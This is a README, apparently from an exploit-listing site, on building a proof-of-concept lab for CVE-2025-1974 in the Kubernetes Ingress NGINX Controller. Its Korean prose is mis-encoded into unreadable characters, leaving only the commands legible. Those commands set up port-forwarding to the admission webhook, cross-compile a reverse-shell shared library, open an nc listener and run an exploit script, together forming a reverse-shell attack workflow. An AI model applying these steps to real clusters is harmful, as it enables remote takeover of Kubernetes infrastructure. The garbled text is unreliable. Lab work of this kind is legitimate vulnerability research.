Share
## https://sploitus.com/exploit?id=AFAA44FE-6A64-5C3C-BD43-81628AF5A675
# CVE-2025-1974: Kubernetes Ingress Nginx Controller ์ทจ์•ฝ์  ๋ถ„์„ ๋ฐ PoC ํ™˜๊ฒฝ ๊ตฌ์ถ•

## ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ
- MacOS (M2)
- Ingress NGINX Controller 1.11.3 
- Rancher Desktop (Docker)
- Minikube (Kubernetes)


## ๋กœ์ปฌ ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ ์„ธํŒ…(M2 MacOS)
๋กœ์ปฌ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•ด minikube๋ฅผ ์„ค์น˜

`minikube start --driver=docker`

์•„๋ž˜ ๋ช…๋ น์–ด๋กœ ingress-nginx-controller๋ฅผ ๊ตฌ์„ฑ

`kubectl apply -f ingress-nginx-controller.yml`


## port forwarding

Pods๊ฐ€ ์ž˜ ๋™์ž‘ํ•˜๊ณ ์ž‡๋Š”์ง€ ํ™•์ธ

`kubectl get pods -n ingress-nginx`

`kubectl describe <pod name> -n ingress-nginx`

Pods์˜ 80, 8443(webhook)ํฌํŠธ๋ฅผ ๋กœ์ปฌ์˜ 8888, 1337 ํฌํŠธ๋กœ ํฌํŠธํฌ์›Œ๋”ฉ
(ํฌํŠธํฌ์›Œ๋”ฉ 80, 8443 ๋ชจ๋‘ ํ•„์š”)

`kubectl port-forward -n ingress-nginx <pod name> 8888:80`

`kubectl port-forward -n ingress-nginx <pod name> 1337:8443`

## so(shard object library) ์ค€๋น„

rev_shell.c ์—์„œ ๋ฆฌ๋ฒ„์Šค์‰˜์„ ์—ฐ๊ฒฐํ•œ IP, Port ๋ณ€๊ฒฝ

MacOS(arm64)ํ™˜๊ฒฝ์—์„œ ์ปดํŒŒ์ผ, ํ…Œ์ŠคํŠธํ•  ํ™˜๊ฒฝ์— ๋งž๊ฒŒ ์ปดํŒŒ์ผ ํ•„์š”

`aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c`

```
# ํฌ๋กœ์Šค์ปดํŒŒ์ผ๋Ÿฌ ์„ค์น˜
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
```


## AdmissionReview ์ƒ์„ฑ(์„ ํƒ, ๊ธฐ์กด์˜ ์ƒ์„ฑ๋œ ํŒŒ์ผ์„ ์ด์šฉํ•ด๋„ ๋ฌด๋ฐฉ)
kube-review๋กœ AdmissionReview ํ˜•ํƒœ๋กœ ๋ณ€ํ™˜ (json)

`./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json`


## Exploit

๋ฆฌ๋ฒ„์Šค์‰˜์„ ์œ„ํ•ด nc๋กœ ๋ฆฌ๋ฒ„์Šค์‰˜ ์—ฐ๊ฒฐ ์ค€๋น„

`nc -lv 4444`

exploit.py์—์„œ nginx, webhook์˜ host ๋ฐ port๋ฅผ ์ˆ˜์ • ํ›„ ์‹คํ–‰

`python3 exploit.py`

![img.png](img.png)